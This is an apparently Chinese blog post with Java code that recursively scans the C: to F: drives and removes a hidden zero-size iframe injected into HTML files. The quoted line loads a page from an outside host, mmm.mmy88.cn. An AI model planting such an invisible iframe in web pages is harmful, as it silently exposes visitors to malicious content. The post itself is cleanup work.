`
louisling
  • 浏览: 143130 次
  • 性别: Icon_minigender_1
  • 来自: ZhuHai
社区版块
存档分类
最新评论

递归删除文件内容

    博客分类:
  • Java
阅读更多
今天突然发现, 很多 html 文件的末尾多了一行,
<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>


不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.

public class FileUtils {
    public static void main(String[] args) throws Exception {
        String content = "<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>";
        String extName = ".html";

        String[] dirs = { "C:", "D:", "E:", "F:" };
        for (int i = 0; i < dirs.length; i++) {
            String dir = dirs[i];
            long t1 = System.currentTimeMillis();
            delContent(content, dir, extName);
            long time = System.currentTimeMillis() - t1;
            System.out.printf("Process directory %s in %d seconds\n", dir, time / 1000);
        }
    }

    /**
     * Del content in all the files(.extName) under the specified directory
     * 
     * @param extName like ".html"
     */
    public static void delContent(String content, String dir, String extName) throws Exception {
        List<String> fileNames = listFileNames(dir, extName);
        //System.out.println("Modifying...");

        for (int i = 0; i < fileNames.size(); i++) {
            String fileName = fileNames.get(i);
            //System.out.printf("%5d Modifying file: %s\n", i, fileName);

            //Read
            File f = new File(fileName);
            BufferedInputStream bin = new BufferedInputStream(new FileInputStream(f));
            byte[] buff = new byte[((int) f.length())];
            bin.read(buff);
            bin.close();
            String str = new String(buff, "utf-8");
            String[] all = str.split("\r\n");

            //Write
            OutputStream fout = new FileOutputStream(f);
            for (int j = 0; j < all.length; j++) {
                all[j] = all[j].replaceAll(content, "");
                fout.write((all[j] + "\r\n").getBytes("utf-8"));
            }
            fout.flush();
            fout.close();
        }
    }

    /**
     * List all file(.extName) name in the path
     * 
     * @param extName like ".html"
     */
    public static List<String> listFileNames(final String path, final String extName) {
        List<String> fileNames = new ArrayList<String>();

        FilenameFilter filter = new FilenameFilter() {
            public boolean accept(File dir, String name) {
                File file = new File(dir, name);
                return name.endsWith(extName) || file.isDirectory();
            }
        };

        File dir = new File(path);
        listFileNames(dir, filter, fileNames);

        return fileNames;
    }

    private static void listFileNames(File dir, FilenameFilter filter, List<String> fileNames) {
        String[] names = dir.list(filter);
        for (String s : names) {
            String fileName = dir.getPath() + File.separator + s;
            File file = new File(fileName);

            if (file.isDirectory())
                listFileNames(file, filter, fileNames);
            else
                fileNames.add(fileName);
        }
    }
}


分享到:
评论
1 楼 louisling 2008-05-05  
我的显示器是 1280*1024, 这个网页居中显示, 如果全屏显示就好了, 现在两边都是空着, 好浪费啊, 发现工商银行的网页就刚刚好, 填满了, 看起来挺舒服的.

相关推荐

    递归删除文件或子目录

    在这个场景中,"递归删除文件或子目录"指的是编写一个程序,它能够遍历并删除指定目录下的所有文件和子目录,包括它们的子孙目录,但会跳过那些被标记为只读属性的文件和目录。这个功能在清理或整理文件系统时非常...

    递归删除文件目录的方法

    这是一个使用java开发了类,可以递归删除文件目录。

    java递归删除文件和文件夹.pdf

    "Java 递归删除文件和文件夹" Java 递归删除文件和文件夹是 Java 编程中一个常见的操作。该操作需要使用 Java 的 File 类来实现,通过递归调用来删除文件和文件夹。 File 类 在 Java 中,File 类是用于表示文件和...

    递归删除指定类型的文件夹,递归删除指定类型的文件

    在IT领域,递归删除是一种常见且强大的操作,主要用于清理特定类型或结构的文件和文件夹。本主题主要探讨如何实现“递归删除指定类型的文件夹”和“递归删除指定类型的文件”,以及如何在文件夹内部进行深度搜索和...

    递归删除文件

    递归删除 实现删除文件 文件夹以及下面的文件内容

    递归删除指定文件例子

    在使用递归删除文件时,要注意以下几点安全建议: 1. **备份**:在执行任何大规模删除操作前,确保有备份重要文件,以免误删。 2. **谨慎操作**:递归删除可能会清除整个目录树,所以在运行脚本前,先确认目标路径...

    递归删除指定文件夹下的指定文件夹及文件

    递归删除指定文件夹下的指定文件夹及文件,如删除文件夹中的所有.svn的文件夹及文件

    JAVA递归删除目录失败

    so easy,写了一个递归删除目录,但结果出乎意料,一个递归目录删除成功,而另外一个却删除失败,刚开始怀疑文件被占用问题,后来被排除了。后来尝试使用各种工具,文件粉碎机都不能解决。最后,通过重命名解决此...

    使用c语言递归删除指定文件夹下所有的文件(包含文件以及文件夹)

    本代码使用c语言,可执行递归删除指定文件夹下所有的文件(包含文件以及文件夹)的操作,注释详细,易于使用或修改

    QT递归删除文件夹,而不删除自己文件夹

    当递归删除文件夹时,会把自己文件夹也删除掉,比如要删除E:/testTemp/qftp 这个文件夹下多有文件,但会把qftp这个文件夹删除,本程序改进后将不删除qftp文件夹,但qftp文件夹下的所有文件都会删除

    递归删除列表文件以外的所有文件源代码.rar

    在这个"递归删除列表文件以外的所有文件源代码"的例子中,我们可以看到是用Delphi语言实现的。 Delphi是一种基于Object Pascal的集成开发环境(IDE),它提供了强大的Windows应用程序开发能力。源码中可能包含以下...

    java递归实现删除文件夹

    - 递归删除可能涉及权限问题,确保程序有足够的权限来访问和删除文件和目录。 - 谨慎使用递归删除,因为它可能导致数据丢失,且在处理大量文件时可能会消耗大量内存。 - 在实际应用中,可能需要添加异常处理代码...

    (java递归)删除文件

    在本文中,我们将深入探讨如何使用递归方法在Java中删除文件,这通常涉及到目录及其包含的所有文件和子目录的删除。以下是根据提供的代码片段提炼出的关键知识点: ### 关键知识点一:递归函数设计 递归函数`find...

    .svn 文件递归删除

    对项目中的 .svn 文件递归删除 def walk(path): for item in os.listdir(path): subpath = os.path.join(path, item); mode = os.stat(subpath)[stat.ST_MODE]; if stat.S_ISDIR(mode): if item==".svn": ...

    Qt C++ 递归删除文件目录和文件

    编写了一系列递归删除目录和文件的方法,包括条件判断,删除成功与否返回调试信息等,便于初学者理解学习 //递归删除目录和文件 bool removeDir(const QString& dirPath) { QDir dir(dirPath); //QFileInfoList ...

    自动递归删除文件的工具程序.zip

    本项目涉及的是一个使用C#编写的自动递归删除文件的工具程序,这通常是为了帮助用户高效地管理文件系统,特别是处理大量冗余或无用的数据。 递归在计算机科学中是一个强大的概念,它指的是函数调用自身的过程。在...

    c#中递归删除文件夹和子文件夹

    c#中递归删除文件夹和子文件夹 可用于删除.svn文件夹 例子中是删除crm文件夹及其子文件夹下的.svn文件夹

    删除文件夹和文件夹里面的文件

    使用递归删除文件

    Node.js-rimraf-递归地删除文件类似于rm-rf

    描述中的"rimraf - 递归地删除文件类似于rm -rf"进一步强调了`rimraf`的主要特性,即它能安全、有效地删除文件和目录,包括它们的子目录和内容。这个特性对于开发者来说尤其有用,特别是在清理项目构建产出或者测试...

Global site tag (gtag.js) - Google Analytics